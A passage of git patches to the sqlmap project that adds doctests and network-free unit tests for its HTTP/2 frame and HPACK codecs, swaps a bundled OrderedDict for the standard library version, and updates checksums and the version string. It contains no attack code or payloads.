pack) @@ -161,6 +166,11 @@ def encode_frame(ftype, flags, stream_id, payload=b""): return header + payload def decode_frame_header(nine): + """Parse the 9-byte frame header into (length, type, flags, stream_id); the reserved high bit of the stream id is masked off. + + >>> decode_frame_header(encode_frame(DATA, 0, 0x80000001, b'')[:9]) + (0, 0, 0, 1) + """ if len(nine) != 9: raise ValueError("frame header must be exactly 9 bytes") length = struct.unpack("!I", b"\x00" + nine[:3])[0] @@ -169,6 +179,13 @@ def decode_frame_header(nine): # ---------- Huffman ---------- def huffman_encode(data): + """Huffman-encode a byte string per the RFC 7541 static table (s5.2), padding with EOS 1-bits. + + >>> huffman_decode(huffman_encode(b'www.example.com')) == b'www.example.com' + True + >>> huffman_encode(b'') == b'' + True + """ if not data: return b"" acc = 0 @@ -224,6 +241,13 @@ def huffman_decode(data): # ---------- integer / string (RFC 7541 5.1 / 5.2) ---------- def encode_integer(value, prefix_bits, first_byte=0): + """Encode an integer with an N-bit prefix (RFC 7541 s5.1); the C.1.2 example is 1337 / 5-bit prefix. + + >>> list(encode_integer(10, 5)) + [10] + >>> list(encode_integer(1337, 5)) + [31, 154, 10] + """ mask = (1 << prefix_bits) - 1 if value < mask: return bytearray([first_byte | value]) @@ -236,6 +260,11 @@ def encode_integer(value, prefix_bits, first_byte=0): return out def decode_integer(data, pos, prefix_bits): + """Decode an N-bit-prefixed integer, returning (value, new_pos) (RFC 7541 s5.1). + + >>> decode_integer(bytearray([31, 154, 10]), 0, 5) + (1337, 3) + """ mask = (1 << prefix_bits) - 1 value = data[pos] & mask pos += 1 @@ -296,6 +325,11 @@ class Decoder(object): return self.dynamic[index] def decode(self, data): + """Decode an HPACK header block into a list of (name, value) byte pairs (RFC 7541 s6). + + >>> Decoder().decode(bytes(bytearray([0x82, 0x86, 0x84]))) == [(b':method', b'GET'), (b':scheme', b'http'), (b':path', b'/')] + True + """ data = bytearray(data) pos = 0 headers = [] @@ -469,7 +503,14 @@ def h2_request(host, port=443, method="GET", path="/", authority=None, headers=N class H2Response(object): """A urllib-response-compatible wrapper around a native HTTP/2 response, so the rest of sqlmap's - request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()).""" + request pipeline can consume it exactly like a urllib response (code/msg/info()/read()/geturl()). + + >>> r = H2Response('https://x/', 200, [(b':status', b'200'), (b'content-type', b'text/html')], b'body') + >>> (r.code, r.msg, r.read() == b'body', r.geturl()) + (200, 'OK', True, 'https://x/') + >>> ':status' in r.info() + False + """ def __init__(self, url, status, headers, body): self.url = url diff --git a/tests/test_http2.py b/tests/test_http2.py new file mode 100644 index 000000000..7c7626481 --- /dev/null +++ b/tests/test_http2.py @@ -0,0 +1,283 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native HTTP/2 client in +lib/request/http2.py: the RFC 7540 frame codec, the RFC 7541 HPACK integer / +Huffman / string primitives, the HPACK Decoder/Encoder (static + dynamic table), +and the urllib-compatible H2Response wrapper. + +Nothing here opens a socket or negotiates TLS - only the deterministic codecs and +the response adapter are exercised. Known vectors are the canonical RFC 7541 +examples; everything else is a round-trip / invariant check. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import binascii +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.http2 import ( + Decoder, + Encoder, + H2Response, + REDIRECT_CODES, + STATIC_LEN, + STATIC_TABLE, + DATA, + HEADERS, + FLAG_END_HEADERS, + FLAG_END_STREAM, + decode_frame_header, + decode_integer, + decode_string, + encode_frame, + encode_integer, + encode_string, + huffman_decode, + huffman_encode, +) + + +def _b(*ints): + # build a bytes object from ints (identical on Python 2 and 3) + return bytes(bytearray(ints)) + + +class TestFrameCodec(unittest.TestCase): + def test_roundtrip(self): + header = encode_frame(HEADERS, FLAG_END_HEADERS, 1, b"abc")[:9] + self.assertEqual(decode_frame_header(header), (3, HEADERS, FLAG_END_HEADERS, 1)) + + def test_payload_is_appended_verbatim(self): + frame = encode_frame(DATA, 0, 1, b"hello") + self.assertEqual(frame[9:], b"hello") + + def test_reserved_stream_bit_is_masked(self): + # the high (reserved) bit of the 31-bit stream id must be dropped on both ends + header = encode_frame(DATA, 0, 0x80000001, b"")[:9] + self.assertEqual(decode_frame_header(header), (0, DATA, 0, 1)) + + def test_zero_length_payload(self): + header = encode_frame(DATA, FLAG_END_STREAM, 1, b"")[:9] + length, _, flags, _ = decode_frame_header(header) + self.assertEqual(length, 0) + self.assertEqual(flags, FLAG_END_STREAM) + + def test_oversized_payload_rejected(self): + with self.assertRaises(ValueError): + encode_frame(DATA, 0, 1, b"x" * (0xFFFFFF + 1)) + + def test_bad_header_length_rejected(self): + with self.assertRaises(ValueError): + decode_frame_header(b"123") + + +class TestIntegerCoding(unittest.TestCase): + def test_rfc_c11_small(self): + # RFC 7541 C.1.1: 10 with a 5-bit prefix fits in the prefix + self.assertEqual(list(encode_integer(10, 5)), [10]) + + def test_rfc_c12_multibyte(self): + # RFC 7541 C.1.2: 1337 with a 5-bit prefix + self.assertEqual(list(encode_integer(1337, 5)), [31, 154, 10]) + self.assertEqual(decode_integer(bytearray([31, 154, 10]), 0, 5), (1337, 3)) + + def test_rfc_c13_full_byte_prefix(self): + # RFC 7541 C.1.3: 42 starting from a full (8-bit prefix at an octet boundary) + self.assertEqual(list(encode_integer(42, 8)), [42]) + + def test_roundtrip_across_prefixes(self): + for prefix in (4, 5, 6, 7, 8): + for value in (0, 1, 2, 30, 31, 32, 127, 128, 255, 256, 16384, 1000000): + encoded = bytearray(encode_integer(value, prefix)) + decoded, pos = decode_integer(encoded, 0, prefix) + self.assertEqual(decoded, value) + self.assertEqual(pos, len(encoded)) + + def test_first_byte_bits_preserved(self): + # a caller-supplied opcode in the high bits must survive a small value + self.assertEqual(bytearray(encode_integer(5, 7, 0x80))[0], 0x80 | 5) + + +class TestHuffman(unittest.TestCase): + def test_known_vector_www_example_com(self): + # RFC 7541 C.4.1 + self.assertEqual(binascii.hexlify(huffman_encode(b"www.example.com")), b"f1e3c2e5f23a6ba0ab90f4ff") + + def test_empty(self): + self.assertEqual(huffman_encode(b""), b"") + self.assertEqual(huffman_decode(b""), b"") + + def test_roundtrip(self): + for sample in (b"a", b"hello world", b"/index.html?a=1&b=2", + b"GET", b"application/json", b"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + bytes(bytearray(range(256)))): + self.assertEqual(huffman_decode(huffman_encode(sample)), sample) + + def test_shrinks_typical_text(self): + sample = b"www.example.com" + self.assertLess(len(huffman_encode(sample)), len(sample)) + + def test_padding_too_long_rejected(self): + # 0xfe walks eight 1-bits into a long (unterminated) code -> more than a byte of padding + with self.assertRaises(ValueError): + huffman_decode(_b(0xFE)) + + +class TestStringCoding(unittest.TestCase): + def test_huffman_branch_roundtrip(self): + encoded = encode_string(b"custom-value") + self.assertTrue(bytearray(encoded)[0] & 0x80) # huffman flag set for compressible text + self.assertEqual(decode_string(bytearray(encoded), 0), (b"custom-value", len(encoded))) + + def test_literal_branch_when_huffman_would_not_shrink(self): + encoded = encode_string(_b(0xFF)) + self.assertFalse(bytearray(encoded)[0] & 0x80) # falls back to a literal string + self.assertEqual(decode_string(bytearray(encoded), 0), (_b(0xFF), len(encoded))) + + def test_disable_huffman(self): + encoded = encode_string(b"abc", huffman=False) + self.assertFalse(bytearray(encoded)[0] & 0x80) + self.assertEqual(decode_string(bytearray(encoded), 0), (b"abc", len(encoded))) + + +class TestHpackDecoder(unittest.TestCase): + def test_indexed_static_entries(self): + # 0x82/0x86/0x84 -> static indices 2, 6, 4 + self.assertEqual( + Decoder().decode(_b(0x82, 0x86, 0x84)), + [(b":method", b"GET"), (b":scheme", b"http"), (b":path", b"/")], + ) + + def test_static_lookup_bounds(self): + d = Decoder() + self.assertEqual(d._get(1), (b":authority", b"")) + self.assertEqual(d._get(2), (b":method", b"GET")) + self.assertEqual(d._get(STATIC_LEN), STATIC_TABLE[-1]) + + def test_index_zero_rejected(self): + with self.assertRaises(ValueError): + Decoder()._get(0) + + def test_index_out_of_range_rejected(self): + with self.assertRaises(ValueError): + Decoder()._get(STATIC_LEN + 1) # no dynamic entries yet + + def test_literal_incremental_indexing_populates_dynamic_table(self): + # 0x40 = literal with incremental indexing, new name + block = bytearray([0x40]) + encode_string(b"custom-key") + encode_string(b"custom-value") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"custom-key", b"custom-value")]) + # entry is now addressable at the first dynamic index (STATIC_LEN + 1) + self.assertEqual(d._get(STATIC_LEN + 1), (b"custom-key", b"custom-value")) + self.assertEqual(d._size, 32 + len(b"custom-key") + len(b"custom-value")) + + def test_literal_without_indexing_does_not_touch_dynamic_table(self): + block = bytearray([0x00]) + encode_string(b"k") + encode_string(b"v") + d = Decoder() + self.assertEqual(d.decode(bytes(block)), [(b"k", b"v")]) + self.assertEqual(d.dynamic, []) + + def test_dynamic_table_eviction(self): + d = Decoder(max_size=40) # each 2+2 byte entry costs 32+2+2 = 36 + d._add(b"aa", b"bb") + self.assertEqual(len(d.dynamic), 1) + d._add(b"cc", b"dd") # 72 > 40 -> oldest evicted + self.assertEqual(d.dynamic, [(b"cc", b"dd")]) + self.assertEqual(d._size, 36) + + def test_dynamic_size_update_clears(self): + d = Decoder() + d._add(b"x", b"y") + d.decode(_b(0x20)) # 0x20 = dynamic table size update to 0 + self.assertEqual(d.max_size, 0) + self.assertEqual(d.dynamic, []) + + +class TestHpackEncoderRoundTrip(unittest.TestCase): + def test_roundtrip_through_decoder(self): + headers = [ + (b":method", b"GET"), + (b":scheme", b"https"), + (b":path", b"/a/b?c=d"), + (b":authority", b"example.com"), + (b"user-agent", b"sqlmap"), + (b"accept", b""), # empty value + (b"x-custom", b"\x00\x01\xff"), # non-ASCII value + ] + self.assertEqual(Decoder().decode(Encoder().encode(headers)), headers) + + def test_encoder_output_is_bytes(self): + self.assertIsInstance(Encoder().encode([(b"a", b"b")]), bytes) + + +class TestH2Response(unittest.TestCase): + def _make(self, status=200, headers=None, body=b"body"): + headers = headers if headers is not None else [(b":status", b"200"), (b"content-type", b"text/html")] + return H2Response("https://target/x", status, headers, body) + + def test_basic_fields(self): + r = self._make() + self.assertEqual(r.code, 200) + self.assertEqual(r.status, 200) + self.assertEqual(r.msg, "OK") + self.assertEqual(r.http_version, "HTTP/2.0") + self.assertEqual(r.geturl(), "https://target/x") + + def test_unknown_status_message(self): + self.assertEqual(self._make(status=799).msg, "") + + def test_pseudo_headers_stripped(self): + r = self._make() + self.assertNotIn(":status", r.info()) + self.assertEqual(r.info().get("content-type"), "text/html") + + def test_read_full_then_empty(self): + r = self._make(body=b"hello") + self.assertEqual(r.read(), b"hello") + self.assertEqual(r.read(), b"") # offset exhausted + + def test_read_in_chunks(self): + r = self._make(body=b"abcdef") + self.assertEqual(r.read(2), b"ab") + self.assertEqual(r.read(3), b"cde") + self.assertEqual(r.read(10), b"f") # asking past the end returns the remainder + self.assertEqual(r.read(10), b"") + + def test_str_header_names_accepted(self): + # headers may arrive already decoded to str (not only bytes) + r = H2Response("https://t/", 200, [("content-type", "application/json")], b"{}") + self.assertEqual(r.info().get("content-type"), "application/json") + + def test_mimetools_style_headers_list(self): + # patchHeaders() relies on a '.headers' list of "Name: value\r\n" lines being present + r = self._make() + self.assertTrue(hasattr(r.info(), "headers")) + self.assertIn("content-type: text/html\r\n", r.info().headers) + + def test_close_is_noop(self): + self.assertIsNone(self._make().close()) + + +class TestConstants(unittest.TestCase): + def test_redirect_codes(self): + for code in (301, 302, 303, 307, 308): + self.assertIn(code, REDIRECT_CODES) + self.assertNotIn(200, REDIRECT_CODES) + + def test_static_table_length(self): + self.assertEqual(STATIC_LEN, len(STATIC_TABLE)) + self.assertEqual(STATIC_LEN, 61) # RFC 7541 Appendix A + + +if __name__ == "__main__": + unittest.main(verbosity=2) From 40a31c155cefd5aeab9300c0748edd43379e75c9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 15:26:59 +0200 Subject: [PATCH 06/34] Removing thirdparty OrderedDict --- data/txt/sha256sums.txt | 20 +++-- doc/THIRD-PARTY.md | 2 - lib/core/common.py | 2 +- lib/core/datatype.py | 2 +- lib/core/dump.py | 2 +- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- lib/request/basic.py | 2 +- lib/request/connect.py | 2 +- lib/techniques/union/use.py | 2 +- thirdparty/odict/__init__.py | 8 -- thirdparty/odict/ordereddict.py | 133 -------------------------------- 12 files changed, 17 insertions(+), 162 deletions(-) delete mode 100644 thirdparty/odict/__init__.py delete mode 100644 thirdparty/odict/ordereddict.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 751527657..39bc951ef 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -89,7 +89,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md -b6fcc489c6eaca2a7d0d031bd04fe28e6790ffe4dfd4bdf055b6dc83b992dc86 doc/THIRD-PARTY.md +8d9c49ac2c05b594c1c36a03c41cf9e3641626a94fe11d86787df4125064b6a0 doc/THIRD-PARTY.md 2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md @@ -168,15 +168,15 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -751c3bf178e91e60b25e3b01ce7636029804dd78f64e9ee0418bdb126889a7bc lib/core/common.py +f73bbb05c1cfd642e8f556f3047f8418bed07b06f555d445b6f14c03c105b87a lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py +771ef50ebfa72a1019f819071dcfcd249ea6bb533051e9388c14917823e1f4f3 lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py -10d8bb671a64cc787fc2fbf2c641560b7797fccd62c4792e55dffe5efab9f544 lib/core/dump.py +b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump.py 6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py @@ -189,10 +189,10 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -39884227376b9370b8ef246d791b98346a7acba146f9ca12a5bf540a252b31ba lib/core/settings.py +929603eb63f80f5547c23357e089a7a59be53140269f20f19748901ced0d1356 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py -19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py +15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py 96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py @@ -209,10 +209,10 @@ ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py +a988c659e0c642e4f3dc4034118b5a6e138a522394ff2eda5bdc3c8495ea2207 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py -c96deaa69743d2cf4ae48f2ae0036f7e11b838f97a0e8c7f1205c61e9dd36bc1 lib/request/connect.py +f0c7f1a6cc1abc557723f24785cdc974cc22a492836384f42413a1254d8dc601 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py 3afb06089f2801d5a12458a313b278db62c17a8d8fd3b8c46f07670699119af3 lib/request/http2.py @@ -251,7 +251,7 @@ bde75d41ac3e5747b96d2af4c33922573158cb43b48714a28490d6720dd85d89 lib/techniques 14637b64878248e5965887b07aa68e62615dac88e2ffc6c3a581430bdd4e309e lib/techniques/ssti/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py -c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py +c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques/union/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py @@ -726,8 +726,6 @@ e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/mag 4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py 2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py -ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py -9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py 3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py 4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index f2c10e272..b20e16309 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -270,8 +270,6 @@ be bound by the terms and conditions of this License Agreement. Copyright (C) 2024, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. Copyright (C) 2019-2021, Miroslav Stampar. -* The `ordereddict` library located under `thirdparty/odict/`. - Copyright (C) 2009, Raymond Hettinger. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. Copyright (C) 2010-2024, Benjamin Peterson. * The `Termcolor` library located under `thirdparty/termcolor/`. diff --git a/lib/core/common.py b/lib/core/common.py index ec7db6ff9..ff205d560 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -200,7 +200,7 @@ from thirdparty.clientform.clientform import ParseResponse from thirdparty.clientform.clientform import ParseError from thirdparty.colorama.initialise import init as coloramainit from thirdparty.magic import magic -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import collections_abc as _collections from thirdparty.six.moves import configparser as _configparser diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 11b45878a..f667c0cd9 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -8,7 +8,7 @@ See the file 'LICENSE' for copying permission import copy import threading -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six.moves import collections_abc as _collections class AttribDict(dict): diff --git a/lib/core/dump.py b/lib/core/dump.py index c81f52519..8b8feec0b 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -62,7 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES from lib.utils.safe2bin import safechardecode from thirdparty import six from thirdparty.magic import magic -from thirdparty.odict import OrderedDict +from collections import OrderedDict class Dump(object): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index b844d9470..8a597a476 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.5" +VERSION = "1.10.7.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index b6666807f..a74955b71 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -79,7 +79,7 @@ from lib.core.settings import XML_RECOGNITION_REGEX from lib.core.threads import getCurrentThreadData from lib.utils.hashdb import HashDB from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six.moves import urllib as _urllib def _setRequestParams(): diff --git a/lib/request/basic.py b/lib/request/basic.py index 2d72a3242..5cddbd983 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -57,7 +57,7 @@ from lib.parse.html import htmlParser from thirdparty import six from thirdparty.chardet import detect from thirdparty.identywaf import identYwaf -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client diff --git a/lib/request/connect.py b/lib/request/connect.py index a14309fa8..b31cfc2db 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -140,7 +140,7 @@ from lib.request.direct import direct from lib.request.methodrequest import MethodRequest from lib.utils.safe2bin import safecharencode from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index dc8517096..e28244c05 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -62,7 +62,7 @@ from lib.request.connect import Connect as Request from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted diff --git a/thirdparty/odict/__init__.py b/thirdparty/odict/__init__.py deleted file mode 100644 index 8571776ae..000000000 --- a/thirdparty/odict/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -import sys - -if sys.version_info[:2] >= (2, 7): - from collections import OrderedDict -else: - from ordereddict import OrderedDict diff --git a/thirdparty/odict/ordereddict.py b/thirdparty/odict/ordereddict.py deleted file mode 100644 index 1cdd6f46e..000000000 --- a/thirdparty/odict/ordereddict.py +++ /dev/null @@ -1,133 +0,0 @@ -# Copyright (c) 2009 Raymond Hettinger -# -# Permission is hereby granted, free of charge, to any person -# obtaining a copy of this software and associated documentation files -# (the "Software"), to deal in the Software without restriction, -# including without limitation the rights to use, copy, modify, merge, -# publish, distribute, sublicense, and/or sell copies of the Software, -# and to permit persons to whom the Software is furnished to do so, -# subject to the following conditions: -# -# The above copyright notice and this permission notice shall be -# included in all copies or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -# OTHER DEALINGS IN THE SOFTWARE. - -try: - from UserDict import DictMixin -except ImportError: - try: - from collections.abc import MutableMapping as DictMixin - except ImportError: - from collections import MutableMapping as DictMixin - -class OrderedDict(dict, DictMixin): - - def __init__(self, *args, **kwds): - if len(args) > 1: - raise TypeError('expected at most 1 arguments, got %d' % len(args)) - try: - self.__end - except AttributeError: - self.clear() - self.update(*args, **kwds) - - def clear(self): - self.__end = end = [] - end += [None, end, end] # sentinel node for doubly linked list - self.__map = {} # key --> [key, prev, next] - dict.clear(self) - - def __setitem__(self, key, value): - if key not in self: - end = self.__end - curr = end[1] - curr[2] = end[1] = self.__map[key] = [key, curr, end] - dict.__setitem__(self, key, value) - - def __delitem__(self, key): - dict.__delitem__(self, key) - key, prev, next = self.__map.pop(key) - prev[2] = next - next[1] = prev - - def __iter__(self): - end = self.__end - curr = end[2] - while curr is not end: - yield curr[0] - curr = curr[2] - - def __reversed__(self): - end = self.__end - curr = end[1] - while curr is not end: - yield curr[0] - curr = curr[1] - - def popitem(self, last=True): - if not self: - raise KeyError('dictionary is empty') - if last: - key = next(reversed(self)) - else: - key = next(iter(self)) - value = self.pop(key) - return key, value - - def __reduce__(self): - items = [[k, self[k]] for k in self] - tmp = self.__map, self.__end - del self.__map, self.__end - inst_dict = vars(self).copy() - self.__map, self.__end = tmp - if inst_dict: - return (self.__class__, (items,), inst_dict) - return self.__class__, (items,) - - def keys(self): - return list(self) - - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, list(self.items())) - - def copy(self): - return self.__class__(self) - - @classmethod - def fromkeys(cls, iterable, value=None): - d = cls() - for key in iterable: - d[key] = value - return d - - def __eq__(self, other): - if isinstance(other, OrderedDict): - if len(self) != len(other): - return False - for p, q in zip(self.items(), other.items()): - if p != q: - return False - return True - return dict.__eq__(self, other) - - def __ne__(self, other): - return not self == other From 6514597dbb0fc544101c133b7d7a941f3397cb1c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 17:34:31 +0200 Subject: [PATCH 07/34] Minor renaming of options --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 ++-- lib/request/connect.py | 5 ++++- 4 files changed, 10 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 39bc951ef..0fe4720d9 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump. 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 